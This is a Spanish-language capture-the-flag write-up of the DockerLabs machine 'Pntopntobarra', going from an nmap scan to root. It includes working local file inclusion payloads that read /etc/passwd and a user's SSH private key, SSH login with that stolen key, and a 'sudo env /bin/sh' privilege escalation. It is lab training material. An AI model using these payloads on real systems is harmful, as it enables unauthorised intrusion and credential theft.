Skip to content

[DockerLabs] Pntopntobarra

4 minutos de lectura
Posted on:28 de agosto de 2024 at 17:30

Creador: maciiii___

Banner de la máquina que vamos a resolver

Nmap Scan

 sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
[sudo] password for m44lr0m:
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-28 17:01 CEST
Initiating ARP Ping Scan at 17:01
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 17:01, 0.03s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 17:01
Scanning 172.17.0.2 [65535 ports]
Discovered open port 22/tcp on 172.17.0.2
Discovered open port 80/tcp on 172.17.0.2
Completed SYN Stealth Scan at 17:01, 0.26s elapsed (65535 total ports)
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.0000010s latency).
Scanned at 2024-08-28 17:01:20 CEST for 1s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 02:42:AC:11:00:02 (Unknown)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

Como de costumbre hacemos un escanéo un poco más a fondo:

 nmap -sCV -p80,22 172.17.0.2 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-28 17:01 CEST
Nmap scan report for collections.dl (172.17.0.2)
Host is up (0.0011s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
|   256 2e:4a:72:a0:b2:40:3a:36:99:c9:2d:a7:62:61:16:e7 (ECDSA)
|_  256 7c:7d:78:7a:20:2b:d0:75:92:26:1b:41:3c:ca:79:3c (ED25519)
80/tcp open  http    Apache httpd 2.4.61 ((Debian))
|_http-title: Advertencia: LeFvIrus
|_http-server-header: Apache/2.4.61 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.15 seconds

Analisis web

Vemos el código de la web para ver si hay algo escondido en comentarios y ver un poco la estructura

<!DOCTYPE html>
<html lang="es">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Advertencia: LeFvIrus</title>
    <link rel="stylesheet" href="styles.css" />
  </head>
  <body>
    <div class="container">
      <h1>Advertencia</h1>
      <p>El LeFvIrus ha sido detectado en tu sistema.</p>
      <p>
        Este virus es altamente peligroso y está diseñado para propagarse
        rápidamente.
      </p>
      <p>
        Tu seguridad está en riesgo.
        <span class="highlight">¡Actúa ahora!</span>
      </p>
      <form method="post">
        <button type="submit" name="ejecutar_script" class="danger-button">
          Hacer clic aquí podría empeorar la situación.
        </button>
      </form>
      <button onclick="location.href='ejemplos.php?images=./ejemplo1.png'">
        Ejemplos de computadoras infectadas
      </button>
    </div>

    <div class="result"></div>
  </body>
</html>

Qué nos llama la atención de aqui? Esta linea parece sospechosa

<button onclick="location.href='ejemplos.php?images=./ejemplo1.png'"></button>

Estaremos ante un LFI? Efectivamente, si accedemos a la url de ejemplos.php con el parámetro images y el típico payload ../../../../etc/passwd

Resultado del LFI con el contenido /etc/passwd

Al acer esta primera prueba pues lo siguiente es intentar leer un fichero algo más sensible, y al haber leido el passwd tenemos un usuario válido, nico.

Tiramos el siguiente payload:

http://172.17.0.2/ejemplos.php?images=../../../../home/nico/.ssh/id_rsa

Copiamos la clave privada de nico en nuestra máquina, le cambiamos los permisos y probamos a conectarnos:

 chmod 600 nico_id_rsa
 ssh nico@172.17.0.2 -i nico_id_rsa

Tenemos la intrusión terminada…

Escalada de privilegios

Lo primero que hago normalmente es ver que podemos ejecutar con sudo

nico@aaf44877c363:~$ sudo -l
Matching Defaults entries for nico on aaf44877c363:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User nico may run the following commands on aaf44877c363:
    (ALL) NOPASSWD: /bin/env

Directo a GTFOBins para ver como podemos hacer la escalada con env.

nico@aaf44877c363:~$ sudo env /bin/sh
# whoami
root

PWNED!